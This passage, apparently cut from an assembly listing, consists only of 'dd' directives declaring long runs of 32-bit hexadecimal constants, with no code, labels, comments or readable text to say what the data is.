15DE42Ah, 0F248A4AFh, 67038E0Fh, 8BC44A22h dd 3FE976E9h, 40523CFCh, 0ADC3A13h, 2892C26h, 14DD9D8Bh dd 0F98B6F56h, 5AD0740Ah, 18D4FF54h, 603DFB22h, 46882A2Dh dd 7817BB04h, 8D008641h, 803399EEh, 263EABCEh, 947F88Ah dd 0B24496FEh, 9ADF8E00h, 0E08815Ch, 13694C95h, 17F40DC0h dd 0AE0B749Fh, 4285454Bh, 0BF23C0D4h, 5B40F06Dh, 0ED6F42h dd 0E10FEB16h, 0EE8F856h, 52263C05h, 0DDBD2322h, 5F5B82A2h dd 0FC60D55Ch, 9539168h, 0DF8B1BEBh, 0E76EE827h, 0DEBD9AF4h dd 9F4CE37Fh, 3C912CBh, 15BD8h, 0A09C1293h, 8E9DF08Ch dd 50E54601h, 8B766E5Eh, 8D7652Eh, 81001F94h, 616864D3h dd 3A58974Ah, 2C8F2913h, 512F85F8h, 680300E4h, 88F8769Dh dd 0C011F8FEh, 548B0DE7h, 21FEB287h, 0F9CD3FDDh, 9040DC6Bh dd 0DC0E9Eh, 0BCA5F260h, 8BE65AB1h, 8AD26509h, 5675B0DDh dd 0FD8D2729h, 615F7702h, 12DC42D4h, 0EDF517h, 4F7FACEAh dd 91A0F8CDh, 33F05C54h, 25D51697h, 0FD65D98Bh, 0BFCFF22Dh dd 62C08EEDh, 1C8B11ECh, 2740E9FAh, 8D4095CFh, 0B6E5745h dd 1B31BD0Bh, 4977305Eh, 0E8855AE0h, 0EFB79Dh, 168A4BC5h dd 551DD774h, 9644BB60h, 1DBC4846h, 1C4FB9A7h, 2286CC60h dd 28EC092Bh, 0CFCB8FFh, 10590D6Ah, 0E8B76DAFh, 4434210Eh dd 37C425DAh, 0C87E8FAEh, 0F87AC215h, 0ABFB9077h, 0EE233E29h dd 0A5C65180h, 7FD5ED48h, 0A1003E79h, 0B81B1E5h, 12BB6609h dd 0F75F8B41h, 596A5F54h, 8A76DF00h, 0C2DB3453h, 7366302Fh dd 14258950h, 0ED5A985Ch, 0B9244E40h, 0B8B282h, 2792972Ah dd 68E2F7h, 9F644DFCh, 0CA51F3BBh, 85C14B1Eh, 5F6078C9h dd 1457B49Ah, 63BC8D48h, 5417BDD5h, 87E726E9h, 4020AE5Bh dd 0B010B396h, 305A0F61h, 89212A94h, 2E2D45BDh, 9D090F70h dd 951F7C61h, 0FC903AEEh, 530CD89Eh, 40C91052h, 5BE35F13h dd 0C01888ACh, 608CB0A6h, 6BCD754Bh, 1F8BB96Eh, 0B83A47Ah dd 1299BB7Dh, 0E815B592h, 8BAD4A5Ah, 0AACF8196h, 0D8153C18h dd 4B24EF16h, 0DB3AC47Fh, 0CC72C09Eh, 2595294Dh, 885C15E9h dd 0C5330269h, 60395E7Ch, 46D78060h, 78D8B725h, 0E7B84F76h dd 0BD02B440h, 0E2ADCDA4h, 48D77CC6h, 1EFC25E6h, 3515EE48h dd 0D7E34BA0h, 0A8AEB24Ah, 648C1274h, 58DE053Ch, 1BEF372h dd 8E78A0BFh, 0DA669614h, 2CBB0776h, 0D90397ECh, 8C2D7CDh dd 567FE2F4h, 3E62CB39h, 0B1C94E75h, 0A66A80E7h, 479A207Ch dd 98AEC302h, 5E745B2Dh, 0F55511Bh, 3AC215C8h, 0C9D97Fh dd 861CF9EAh, 232F5BF2h, 0C08192E0h, 0DEFF52h, 6D770F51h dd 7D7AE2C9h, 1DA7A7A0h dd 2B95BFA1h, 0AFB05527h, 97560A2Fh, 0C3818C80h, 0CB25E8A1h dd 89AB7373h, 0E55C3011h, 0D41D5E5Ah, 2EAD21E7h, 24267B54h dd 15A67515h, 0E1C46DCh, 800946DAh, 0B320AB48h, 28099F4Fh dd 0F7AD1473h, 2AA6D69Fh, 0B33BDE80h, 928D9D01h, 2595EC07h dd 0B65C2EADh, 0A72B5371h, 55B0B244h, 1D64ACCDh, 6AC7FD60h dd 7C8C602h, 0D06DA8B8h, 30CA3D4Ch, 3EC128EEh, 2F535F10h dd 0BEFC522Dh, 286B2D6Ch, 85551875h, 0E91D40F1h, 0E1E0B54Ah dd 2D2BE260h, 0D5A229BDh, 158DD8Dh, 79F56139h, 0B064C156h dd 1113C9Eh, 6EF9FC94h, 2B93C59Fh, 0B11AF39Dh, 0CA58B2CBh dd 8B229B12h, 50904530h, 87519560h, 0C7800203h, 0C57FA0F7h dd 0CB0C0033h, 0E6CABA60h, 461E7B3Bh, 8A47EC88h, 901461C8h dd 10B833BDh, 7301ECF6h, 85E5BD62h, 0FFCE0918h, 0E66A55A5h dd 6E32F0EAh, 0E29BE822h, 4E8A1C33h, 0BCDED29Eh, 3F8D8019h dd 6F68981h, 0D9BF0FD2h, 73956C5Fh, 0C8577280h, 5A316091h dd 0F50EEA8Dh, 25E1C90Bh, 0DF0261FCh, 0D651E6F4h, 1546748Eh dd 0F8D97809h, 2563B408h, 125F758h, 1797FCBDh, 0C26F05h dd 319FB605h, 0B91A8DB5h, 0B6A2750h, 4C13A58h, 6121BF66h dd 6C64CB7Bh, 62B8200Ch, 4891086h, 81DCB75Fh, 6E6BADF6h dd 0CC270F9h, 0E2532AB4h, 0A7F5F182h, 71C0874Dh, 26581646h dd 93FBE9AAh, 0F2D0A326h, 932A3019h, 8F044D7Eh, 5FF55354h dd 34D35CE8h, 0EAC0BFA6h, 1D2D9960h, 0BE59592h, 20744F26h dd 31646D6h, 8BFFEEBBh, 2DD23FFAh, 0C88A8FCEh, 857C01Bh dd 960B7E34h, 71A3E816h, 0D4F42FA4h, 88612B00h, 2C80E621h dd 8718D3Bh, 5F1303C1h, 778D94A2h, 0B9FA393Fh, 40612D2Bh dd 6A578B82h, 0F50021Dh, 294ADh, 5737D8A0h, 54394C70h dd 3C51AD04h, 549509F2h, 13B8D4FDh, 0F01F0A13h, 51F08BFh dd 30F4BB01h, 986E229Fh, 0E7951F20h, 0E6FE08E5h, 0F1081D24h dd 0B5290F2Ah, 1474030Bh, 40ADDEE9h, 21BBA73h, 0B5073B04h dd 5CBA83F5h, 75BF4069h, 5B57FEE7h, 801D56F6h, 7BAD6BD3h dd 181471D9h, 28CB3DDh, 14A99D33h, 95387809h, 3509963Fh dd 97D4F0EDh, 5BDD33B2h, 4759703Eh, 0B16A1802h, 4020D698h dd 8323D189h, 0B05C822h, 8370D0BBh, 2D19CAA2h, 0A53D5Fh dd 1D5429C2h, 501BC79h, 0A8E9C781h, 8D214EC4h, 8A6E1FE5h dd 23C2209h, 0B70F5160h, 26C05AC0h, 325EE1B5h, 15591644h dd 0B0B90E13h, 31D0FC09h, 0BF0A8222h, 0BF00A24Ch, 0F781D03Ch dd 17CC4AE8h, 0A171E432h, 6E33E93Ah, 6127E2FDh, 0BAE5454Bh dd 30FE0934h, 0CBC0057Dh, 1E3E9400h, 4E96815h, 55D2009Ch dd 50A68EBDh, 70F6C381h, 5B3CD71Ch, 64765C67h, 64154007h dd 2E7B3FE7h, 25908F4Ah, 386053E2h, 0B800A99h, 2771259Dh dd 883F6E79h, 4815E98Dh, 2F8508E4h, 10D1273Bh, 7D9D66Bh dd 7F0B6ECh, 9D520B50h, 0C59D2B08h, 84E90B1Ah, 6B9C18E4h dd 0FA21B562h, 0D9137D1h, 4C446361h, 9EA55F8Ah, 7B793F2h dd 0DCC53422h, 27E81312h, 38F55039h, 0CF004174h, 0DD09F82Dh dd 0A32FB9C6h, 0DA08254Ah, 0DCA0AB7Bh, 0E938B209h, 4F18D531h dd 1A9D1E92h, 444D5E5Ah, 4F5501Dh, 1595D38Fh, 898F48E9h dd 4F626254h, 4674F9DFh, 5762C0C2h, 2D0095BDh, 0C2AF0B4Fh dd 448468BCh, 24AD3DA2h, 2F55B7DDh, 58553277h, 1CA6FA93h dd 2C10C6B9h, 0BB07F4D2h, 5FD72E09h, 16B6C31Eh, 5131824Fh dd 6FE225F2h, 1A70BC73h, 1119121Eh, 5CD0AEFh, 0ED9FC1E2h dd 0C0B15BFCh, 0F36B4087h, 8BAB0001h, 0E3BF4BB3h, 0C382CF9h dd 9ADE5BB8h, 0D2343CC0h, 6D1201DDh, 6C12C0A3h, 0BA2D12ADh dd 1CF9F071h, 0CA01D418h, 0CD974BF0h, 51E6368Eh, 0FBAB01C3h dd 0CA255604h, 0C70001D9h, 3B922FCh, 0C2070072h, 27A0FDA4h dd 4501B055h, 599F121Ch, 0DB2B5B79h, 8F6A4AE8h, 0EB138C20h dd 40C84088h, 24101F1Ch, 827900D8h, 7DBD23AFh, 60A6185Bh dd 0A8C6E24Ah, 95F100B6h, 0FBE19AC2h, 0DDB00F4Ah, 0E603EB2Eh dd 6FCCE2A5h, 0DD2C604Ch, 0E71353CBh, 0E3A2A964h, 0A823E9F5h dd 73530457h, 8135AB9Bh, 66FBB782h, 0B66002B6h, 7461FC04h dd 143A51E8h, 55FF95C5h, 18AC6E15h, 1360748Ch, 0A3DA15E0h dd 71A84CD1h, 90FF1A40h, 899497F7h, 5C03F027h, 10FE71BFh dd 13E3EF81h, 0A223FBEEh, 96B58E45h, 0B3803DB9h, 0D0494A65h dd 67AE501h, 60AB3802h, 4E703C24h, 803A811Bh, 3DED7AE1h dd 0B003BEB8h, 0FE705974h, 3D17F0BBh, 0B864C173h, 3A6140F1h dd 51E73149h, 8E2D3C95h, 2EF55449h, 0F7504732h, 51DDD99Ah dd 0A35F133Bh, 0DDC84F3Fh, 292C0294h, 9070CF6Eh, 9F0168C0h dd 0C3FC5048h, 910BF796h, 59F28EE6h, 80A51D29h, 0D5E9EB28h dd 900D1ED3h, 25B16D9h, 27AFDEDAh, 7BA5F976h, 286178ECh dd 63800F28h, 46416804h, 0A8C06A7Ch, 973AF5C1h, 45BE0B01h dd 6ADEF263h, 65FA12DCh, 0D689ADF5h, 0CDA820B9h, 90214A04h dd 1DE83BE2h, 0CFE9FCC2h, 2557E477h, 367B0E2Dh, 0C02FEDA5h dd 0CEE51CC6h, 0E9D8764Bh, 8510868Ah, 0CEA7101Dh, 4B85BFD7h dd 0B3060AEh, 0A9BFA5BDh, 925DF458h, 0D37EF221h, 8BA81DE9h dd 13E922h, 0F338EA0h, 4BAAE299h, 0A9FAE107h, 5F40C78Dh dd 5D344498h, 3381FDDAh, 2F0C199Dh, 40B99A65h, 0BC2750A8h dd 3C9F70B2h, 0B57296FFh, 0E8057937h, 52259215h, 7F81E182h dd 0F182F444h, 4EF4C2FCh, 0D2E3E954h, 42CE4000h, 9681F65h dd 0A46794C1h, 0C0555142h, 276F3EC3h, 0B5B75BB7h, 758D9700h dd 9D17367Ah, 3549A71h, 0AB336A42h, 0E88C6090h, 990E8046h dd 1A69413h, 0F4ED61F6h, 0D881B15Eh, 0D29D5250h, 0FDE695A1h dd 1E585A30h, 9F90DE8Bh, 7FC0136Dh, 76ED26EBh, 8ABA12F3h dd 0F5FB61FAh, 0A9B3A61h, 0FBC08F9Ch, 75E56D40h, 0D8168B62h dd 4FBCC1B7h, 0A0F3B6F5h, 1268A92Fh, 4B55F0Dh, 0B817DD31h dd 24FE38Fh, 3FBB339h, 0A37C759Dh, 97B3F0A5h, 6D78D0D3h dd 0EC9900B1h, 0A0744976h, 1698D634h, 5F11C120h, 818F660h dd 3E12398Dh, 99FF872Dh, 3A2FF513h, 0B0C1E4A1h, 57FE459Dh dd 0F274989Ch, 45E06FB5h, 2E10BED0h, 0E5C6B2E2h, 58A70048h dd 5ACE4165h, 7624D04h, 6CAC2372h, 0C03EDE4Ah, 0C956C01Ah dd 0D190BF65h, 0E00387A2h, 0F2CB269h, 798CC218h, 0E6FA0030h dd 7096802Bh, 0F1D0F50Eh, 6634A06Fh, 258D638Fh, 6DE55BE9h dd 0A33525h, 68857546h, 0A8503839h, 104BD5C4h, 127F65DDh dd 5929E30Ah, 679B13D1h, 0EFB2EC13h, 9DB97403h, 0B6E4A15Dh dd 59C0E0BEh, 0F8300474h, 0EA855732h, 17C8B2DAh, 0C2F023C7h dd 258D016Bh, 3EEE1881h, 1643795h, 0FD9D23EBh, 48974A06h dd 19E5341Dh, 0E65A40A8h, 3732B475h, 6595D767h, 292D2640h dd 0BB6609ADh, 0D266BF33h, 0C2F22C90h, 2561F83Eh, 6D62E2FAh dd 23F2E000h, 0C1127DE9h, 41AF7047h, 8ADAB79Fh, 60E76AD8h dd 0A0122110h, 382848BFh, 9BCF6A38h, 1285C129h, 2026CD8Eh dd 2B6DA54Fh, 17C82C9Ah, 0C497EC0h, 801E9999h, 0E0224D9Ah dd 0E600F37Ah, 280DD3B2h, 95605796h, 0F47DEAC4h, 58B9C907h dd 0A239D737h, 61505FD5h, 27AC0249h, 9B961233h, 12979CE8h dd 0E60163B2h, 6C15ACAh, 0B4E97BDFh, 0B3677A81h, 0F4D92E57h dd 79B8F654h, 0ABDF81C0h, 1B90C7FCh, 0CC30F409h, 47737975h dd 0AE160E4Ch, 9C0B2A6Fh dd 0D2E21AEEh, 0D0B74A98h, 4985893Ch, 96611713h, 5D04F6ECh dd 2007E850h, 12DB8F6Eh, 2981DFh, 965FD9BBh, 49258D89h dd 9430EE0Fh, 0B2640CFh, 0C4250754h, 0C16FE677h, 3F93DBF6h dd 31A62B40h, 99301BB2h, 65F600C2h, 86CCDD5Fh, 3925BD29h dd 25515A1Ch, 53E6B397h, 0F22F6395h, 512B5E84h, 5EF9123Fh dd 1846D610h, 0DA024801h, 7FC685B8h, 0FD821662h, 0CA94FCD1h dd 982202BCh, 5EFE8B5Fh, 8F0F5817h, 0E4274791h, 6C96FAh dd 6AAB3A59h, 9B1EB402h, 1AC0CBFAh, 9D29305Eh, 0E9C7C449h dd 661DAF8Dh, 1000C51h, 557A8A57h, 0CE038E95h, 35C1DB09h dd 0D9AB9C8Bh, 2F95DC43h, 0C7642082h, 7139BBBh, 0C941669Eh dd 2DEAAEh, 32943FFAh, 1500FF7Bh, 717C0D5Fh, 7FCF81B1h dd 0B02C7DA6h, 609025B4h, 0B9819B59h, 2CDB8792h, 90DF8BF0h dd 982BDE2h, 85DD90DEh, 0CB22227Ch, 889B76F9h, 0B6302415h dd 9D51F5C2h, 0B078317Bh, 2680261Bh, 75622568h, 0C8359D8Eh dd 777A902Fh, 2BC934A1h, 623D21C9h, 5CB52EB9h, 0F4DDC62Bh dd 6D158D35h, 8C67C230h, 0EDD90B09h, 8302659Ch, 59042579h dd 310BFAA0h, 0F8FF59Dh, 9ECA3B8Ah, 614F6301h, 2E3999C4h dd 42EC1534h, 725C0427h, 0D4E7D65Ah, 8F26ED00h, 4E027423h dd 8B2731E6h, 20E1962h, 0B3C5456h, 17025BDFh, 0DD56F5D1h dd 0C3146851h, 0B1F92B98h, 6FB36A23h, 0A1ADA65Bh, 257A82DBh dd 94D8AB66h, 0C51C4AB3h, 0B80CE9CEh, 5F900074h, 2D2635Eh dd 534A080Ch, 1B9471F2h, 0BCE1E912h, 42CCE24Eh, 766D775Ah dd 0D76449E2h, 2D397B60h, 0DC8E0F80h, 0E664256Bh, 572E162Fh dd 0B878D822h, 1663775h, 0B531F8E8h, 1D5CFA15h, 25B27CE9h dd 843834DEh, 4CB05A5Bh, 0A95C95EBh, 4CE6B87Ah, 6125650Dh dd 0D49E2DCCh, 59ADEC24h, 5F0056A2h, 0D06BBFF9h, 2CCEE1D7h dd 1E187A3Ah, 0BD1412CBh, 2E6BD248h, 0D97DB104h, 0D1DCEFF9h dd 571A64E1h, 2824FEFFh, 68D360AFh, 6B068A3Eh, 0B5876DFDh dd 0E6372E99h, 16118933h, 220DE810h, 45FE9495h, 29388146h dd 0B030CDA1h, 616560C2h, 70E6800Ch, 418F30B1h, 0AE3C60E4h dd 7DF5A263h, 0C522048Ah, 0EB50BF78h, 2DBD9590h, 116B8C05h dd 1F3A246Bh, 533323AFh, 2EA51410h, 0AA295F14h, 0B05F162Fh dd 0F104BB2Bh, 0B7B34460h, 50123BF4h, 2B0C13BDh, 51B3719Dh dd 0FE96011h, 0CB96FD00h, 0B01EF392h, 63B31400h, 3C4A391h dd 6CB900Fh, 2B5F61D9h, 8EA066C8h, 1ACED18Bh, 64B4EBF9h dd 2271223Ch, 4C1250ECh, 1EA24755h, 18F77D00h, 748CE43Ah dd 70318501h, 2ACB0E86h, 1215B6C8h, 0AB9BD1D0h, 0E8BB8960h dd 0EA89959Ch, 81D313DDh, 0B3605760h, 80588839h, 6120F412h dd 8A2ADBB4h, 45B31157h, 75B65E8h, 914F930Ch, 59D53077h dd 66006FB7h, 56B2BB80h, 0F436D381h, 5F350C91h, 523F43E9h dd 0B4B28EC7h, 0B1F759B9h, 2B7A6816h, 3D13FB24h, 0CA2B91A1h dd 26093B09h, 65A53C7Dh, 249D2107h, 5E50918h, 86504E5Eh dd 15C48773h, 209BD061h, 0D7B9952Ah, 34496697h, 0A40871CDh dd 6B66A74Dh, 9201DB0h, 6BB9122Ah, 2F7AEB10h, 318BB200h dd 3FA4349Eh, 5785BA99h, 81FE5C37h, 0D2085E97h, 236592F6h dd 5C226F82h, 0BAEDCB06h, 95E86840h, 47DBEA3h, 0FBB58960h dd 81516E40h, 39A477EAh, 61136E58h, 0E2CAA6FCh, 8CF3F5E3h dd 530EC509h, 181A719Eh, 0F52A1D35h, 0DCCC8782h, 5F2B5B0Fh dd 66A8B05Dh, 781D020Dh, 5B266AA7h, 0BA158577h, 20BD088Ch dd 36950731h, 0D476BED9h, 0B02FC002h, 0D460179Fh, 7600DC41h dd 6F68EB99h, 3D8C36E1h, 0D92B32Eh, 0DEEEDE88h, 769476C9h dd 0FA211293h, 860F0171h, 0B451283Eh, 0E55DB900h, 0DA9C4C65h dd 0BC7D0912h, 0FE599E29h, 0EB78E4A3h, 0E64C04E7h, 0AC74AA05h dd 93AADFEh, 23824C1Fh, 9C572835h, 3F7A45C0h, 956DA78Ch dd 0EB801E45h, 3F2EE1B7h, 0B27E0038h, 0C78B66DBh, 0BF97B861h dd 8BCC0030h, 117FEE3Bh, 79D11525h, 0C65B49C5h, 80FBDD53h dd 0C9889945h, 3544F713h, 0D5E114D2h, 18595309h, 0A04A442h dd 5E7C3FF4h, 330FB0Dh, 2330C5h, 0CCAEAFA7h, 6472CE29h dd 0E1C98A08h, 12D31308h, 8438B204h, 0DEBE0492h, 88EE8248h dd 50505C84h, 6F9F0431h, 0B86C406Ch, 60BD6B57h, 5EB7CE05h dd 0D5CAC164h, 5AB97E23h, 0BC047FF8h, 0A67417D3h, 45A87B8h dd 0B9F7B4C1h, 7B9D7E60h, 8B5DD89Dh, 18B1EA02h, 56F113A4h dd 2ECDE943h, 0BF7BF240h, 0F6994AFDh, 3015B2CBh, 290C8C8Fh dd 461E05BDh, 0CFA905BFh, 0FC90493Bh, 0B164800Eh, 0F5BD72h dd 33137EFBh, 76680CE2h, 599DDD01h, 6ACF886Fh, 96780C71h dd 90505BC2h, 1C80CDB7h, 59CD984Eh, 287198FFh, 39742F61h dd 4A9509h, 17116823h, 0BB0C0F50h, 52EAEBADh, 0EE240F34h dd 0A8964F14h, 3E578593h, 0EB1D4DC0h, 4483120Ch, 8599BDB1h dd 4ABAE9B5h, 3B1C8F07h, 78E68A27h, 0C4807425h, 0B9B79592h dd 11A682BFh, 6622FD5Eh, 0D3E700D0h, 0CAF7510h, 0C9003A87h dd 20F2BDB1h, 9701EDE9h, 3F429E6Fh, 189ACA1Bh, 0E0D28989h dd 0EB485E24h, 0EDB37D52h, 23DEA45Eh, 61CEE983h, 2BD7302Eh dd 0A4B75BDh, 9BBD19Ch, 2955CB9Dh, 46D6755Eh, 488F001Dh dd 5B4F7DF7h, 9AC000AEh, 2579BFE7h, 894F54F5h, 2DC0F69Bh dd 1D9D0B2Ah, 102D2FFBh, 81EBDA2Eh, 0EEF1A1ABh, 8162352Fh dd 2E0EB94Bh, 849AFB64h, 0E9900EC1h, 0C96128DCh, 31BF0603h dd 0CED0B75Ch, 78E253B5h, 800AC5BAh, 0AE9CC0A0h, 0E99A704h dd 0B42488AEh, 5EAE9108h, 42508FCh, 7F12C2A5h, 68B7E0CEh dd 77E0274Eh, 0E6B901C9h, 5C1253E8h, 9AD92019h, 0B4ED774Ah dd 0EEFCC04Ah, 404DA769h, 0D720BD17h, 6BD67FCBh, 88C256C2h dd 0DAB32EDAh, 0E49ADC7Ah, 5025BB0Ah, 93658CBEh, 0D2368F00h dd 134FA557h, 66601E50h, 0D42753BEh, 7A9B1D7Dh, 3D2EB75Bh dd 4525FD52h, 0A55D792Ah, 8000135h, 0CBE583FBh, 812E013Bh dd 3FF721C7h, 5ACE2B10h, 0AB51BD16h, 0E159A03Ch, 0A049F72Bh dd 583C90Ch, 0EA2B20B3h, 0E2D9CCD1h, 9E0A100Fh, 709D80DFh dd 0ED6672h, 3A869433h, 0BAB94B42h, 52EEF95Fh, 803FBC2Ah dd 3058EC7Bh, 0CB37035Ch, 46A186EDh, 0C013548Fh, 5B8DF5C9h dd 71CC1D97h, 4A6E7AF8h, 4C581800h, 95D35E1h, 0F0A14812h dd 6C007CE2h, 0ABB33CA0h, 2015C2Dh, 9BBF5626h, 5BD98681h dd 6F00282Fh, 0E02E0441h, 79130C8h, 7C275CE6h, 5C92789h dd 5B72B2FEh, 0CD2D709Bh, 92459C3Bh, 9204A039h, 0F072AF9h dd 0B877098Ch, 597F38h, 0EC11C499h, 0FE7193AEh, 0D79A9F4Bh dd 0FFC019C8h, 25C2B3C5h, 25198h, 0EC5597CCh, 82534F51h dd 5B022447h, 32C1F5B9h, 0ADB2B22h, 0FBC01C88h, 15F6D05h dd 3DA35855h, 0BF09B72Ah, 0E7A90B8Ch, 58EF296h, 906B39BBh dd 6B8BF91Fh, 0B4B64308h, 469402FFh, 0A56D96C6h, 40F9C6E0h dd 3AC026Dh, 1291BD0Bh, 0E407CD75h, 1E72601Ch, 6B053C61h dd 0AD78F81Ch, 8CF0BC0Bh, 7F1D3A97h, 0FC27AB35h, 8E43C9AAh dd 7D0CBD62h, 9330A32h, 2F792E15h, 1411BD41h, 0D0B3D7F2h dd 0A9A5C7B7h, 0B2DABBD7h, 0D32BDFB5h, 1659CB53h, 31096618h dd 5D605293h, 5F613698h, 0EB198897h, 70905609h, 886D9FFBh dd 0F062F8C3h, 1029CA1Fh, 0BF6546Ch, 5E0DDFEFh, 1546D6B8h dd 5382D13h, 0EB2EA525h dd 0D8D79C9Bh, 421CBF8Fh, 0C241685Eh, 6ACDB7EFh, 0B803B97Ah dd 32B60BEEh, 0A1649D55h, 0A1459F00h, 4647A7CBh, 1D65021Ch dd 5A168880h, 0A182E477h, 642EFB4Fh, 22FE14E6h, 0AEB6AC5Eh dd 20DEB139h, 0E4E18DBBh, 84B9ED03h, 8046431Eh, 0FA0FC708h dd 0F3A25DDDh, 52360850h, 9794BBEh, 49A185FDh, 69AAB8D7h dd 4B9A872Dh, 215BF774h, 1797C270h, 0CDB78FFAh, 0CFA06B6Ah dd 86C28230h, 0A7400C56h, 0E68A5633h, 0CFD900CBh, 6FBC5B35h dd 61EA5F51h, 0F7816EA0h, 6DCF7727h, 60196452h, 7FE0C6D2h dd 0B31A12BEh, 7A45F14Eh, 3EE9E7ADh, 0CC66CCh, 8E9194F4h dd 4AE4F892h, 0BD03D201h, 33562A1Ch, 9B89D340h, 0B5297B5Bh dd 0D99D59F2h, 3325545Eh, 0ADBE7BBCh, 0A544674Dh, 57F86E82h dd 61BDB0B4h, 0B90412D1h, 619AD28Ah, 4EC53081h, 3D9F21A7h dd 7BC627F6h, 3C76D027h, 0E57B8925h, 0C0BF8099h, 0E96486E8h dd 0A4F0504Ah, 10E30980h, 0D437C18Bh, 1CBFDD80h, 9567F1C4h dd 6D9592EEh, 0E7A240B3h, 560E960h, 77D8E017h, 6138123Ch dd 0DE54FC90h, 13229EC0h, 0B5EF7h, 5B6CD62Ch, 0C7178C55h dd 0C1312409h, 81DBD133h, 0A9B39A64h, 57F7C834h, 0EE1EBF05h dd 84AB7D66h, 0D2A29BC3h, 7F0BF3ECh, 93D36A9Eh, 178B3778h dd 0B29C1084h, 0F75D007Dh, 0CC362178h, 861F4CD1h, 0DA4392C0h dd 1E00385Fh, 34356E2Fh, 0F4EB0615h, 6AB82F03h, 0D2406D18h dd 0C48F7103h, 0C0C18CBFh, 504BEAE5h, 39AED7A1h, 0AC5E5206h dd 4725C05Ch, 12B2354h, 0C9E181AFh, 2B7D8E4Dh, 0F6B873D4h dd 2226E48h, 0CA2663B7h, 0F909A286h, 0DF617590h, 0EB801003h dd 95F4AEEh, 29E8139Ah, 0F1259D33h, 1255461Dh, 0F3A98BE7h dd 12BB58CAh, 0CAF230D5h, 69ACBBD5h, 385CA312h, 0BB5860BEh dd 57019C0Ah, 5226C781h, 72605ACAh, 0DCFEB6D1h, 0CE4B2772h dd 6E27E6CAh, 9DD95F73h, 9D3A9C30h, 51AB5A90h, 2DA4B200h dd 68E7872Fh, 0D97018Bh, 8060026Ah, 0DBF5E2F6h, 0ACC51506h dd 47612Ch, 86C849B8h, 0CA09BF6Fh, 0CA32FDD0h, 401DF4D3h dd 3E75697Dh, 0D8650D27h, 0D85F4B7Eh, 5AB59DE8h, 8EE9251Bh dd 0B8C7BA71h, 9BBE52F5h, 5278C04Eh, 9F8B50ABh, 5B27E044h dd 5CC3CA53h, 9246CBCh, 0CF900F40h, 5289FB22h, 13413098h dd 0CA01C17h, 955972B4h, 4DF57E62h, 4E6CC9F9h, 0AB4B300h dd 0EE76CB6Ah, 0B0E925CCh, 94CBCAECh, 0D7B5D5DEh, 4C3030A7h dd 0E327008Eh, 2E94FB9Bh, 0CF038151h, 87E3BF5h, 0EDDA5B5Fh dd 47B94AF8h, 5E2625E8h, 0D1013129h, 9D89F52Dh, 0C269D47Eh dd 0FE6855E0h, 0CD259531h, 11B8E51Bh, 0E590662Dh, 0C4B04B3Bh dd 3244AB2Eh, 810C70E6h, 714BE4B1h, 0A9B96FC4h, 33820788h dd 1A0D11BDh, 0A9A0275h, 40A05EB7h, 8433F9BFh, 4C760D58h dd 0BD1822E8h, 9A605F12h, 0A60077A2h, 6F23F8A7h, 4ECBB432h dd 0E094E148h, 84971A7Bh, 0BCBCF8BDh, 0D08C0F13h, 0B58B60C8h dd 0CA00D15Eh, 0FEE7F081h, 6142038Fh, 8531C82Bh, 668C47DDh dd 0ABA495BFh, 0D1A166C2h, 0D0051242h, 4E4985B2h, 88A144E0h dd 0DB2C4055h, 8F25E847h, 0F49BE27Fh, 0B80B12A2h, 62579685h dd 53C570AAh, 6B54E95Bh, 0A455936h, 11C88C6Bh, 5AF94289h dd 142A62Bh, 0E12627DBh, 0F33ACDCFh, 254022A0h, 0B7D68D89h dd 0D567BB81h, 642F055Ch, 73CCBE82h, 2CF5FABBh, 200C6D70h dd 1CCA8678h, 403CDB9Eh, 5C7BD98Fh, 0A11CD790h, 82018065h dd 4D9AA630h, 0F19F602Fh, 0D39F5183h, 48D27803h, 4BE2401Fh dd 0DBFA6A17h, 91C8180h, 44782D9Dh, 0E690BF49h, 0B8305D12h dd 5E17AECEh, 0FB1B301Fh, 410571ACh, 8320DBA2h, 7EB9D680h dd 887B9511h, 27C2A9D0h, 0DB4EA3E6h, 2D00DA49h, 0BB4FD1FCh dd 7DA82CEh, 111037DDh, 8CEE8216h, 5E70A046h, 909F4EFh dd 0D245C6F1h, 6F721A09h, 8ADF2B78h, 77F61812h, 0A15B0AD2h dd 86BF80CCh, 0F7CE02Eh, 67098237h, 82038962h, 75DEB706h dd 164496EDh, 0F0B13260h, 6B9E6B91h, 0FC08AF00h, 0E27A61EDh dd 0D4B400A5h, 0F7A88248h, 0EA9D94DDh, 0B0EFD5F9h, 6027C60h dd 18C401DAh, 0BB490B41h, 3801C42Eh, 0CECF8012h, 82302AAFh dd 7CBAFB71h, 0AB493462h, 0E64A702Fh, 0C11EA213h, 8F6EA515h dd 804E224Ah, 9D2191F2h, 1571927Bh, 0EF5C8318h, 0B2E7C082h dd 62E3D2EAh, 234DF4D4h, 7DBC5F04h, 105509C9h, 0B4E1FFAFh dd 0AF1212A4h, 8A152C38h, 0C6138CDEh, 5F6B1777h, 4F714029h dd 7B041262h, 92DDD256h, 48AC631h, 750E44Eh, 0A35BBCF0h dd 0A6604EA5h, 0BE36F0D5h, 155099Fh, 0D32B758Dh, 0F7571ADDh dd 5E04C1D0h, 0E1286E78h, 9B4E63BCh, 318880CDh, 9D105DB5h dd 0C9258579h, 0C80F2E5Fh, 5D73C017h, 73B54827h, 0B5950543h dd 0CDCAAB2Dh, 2165BD09h, 0FE5F4244h, 79E412B0h, 0D6ED9748h dd 4E5F58C3h, 0A54AA83Ah, 4189EBECh, 0C8E95630h, 457B5000h dd 0B4BAC275h, 4094BEF3h, 0A21538FCh, 0B674A701h, 5F577068h dd 252B50C5h, 7B88EA77h, 0DA1803BFh, 8B5F6BEEh, 1E09A14Ch dd 753835F7h, 86950909h, 981D9251h, 0FCDE2Fh, 582B1F6Bh dd 318D9529h, 6B52799Dh, 5552E6DBh, 3385EDD6h, 5AF1C26Fh dd 0E67A5ED9h, 83A9B589h, 80CA009Fh, 95D3DA3Fh, 35CD9C12h dd 0ABE939C0h, 80E69401h, 52C4BFFBh, 73BD1CE5h, 61BD047Bh dd 0CD793918h, 0DC1F80A8h, 0DE678FD1h, 32310BE5h, 355AF05Eh dd 2B8287A2h, 60EC600Ch, 0BF056B95h, 7D376D77h, 0B67AF9B1h dd 8AB6B49Fh, 0F0D40F16h, 541A5D8h, 0D7F992DBh, 1591C2B5h dd 0A837498Eh, 7B0D2D4Eh, 181851C1h, 11D609DBh, 0F282AF2Eh dd 280A0399h, 0A9E9F902h, 5FE65D3Ah, 2371D01h, 55AA2C3Fh dd 10A6E27Ah, 9BA415E5h, 0FF91C19Dh, 0CD3AB9ABh, 0C3F34A2h dd 12EE6880h, 4C6249Bh, 0BCFF31C4h, 98113E20h, 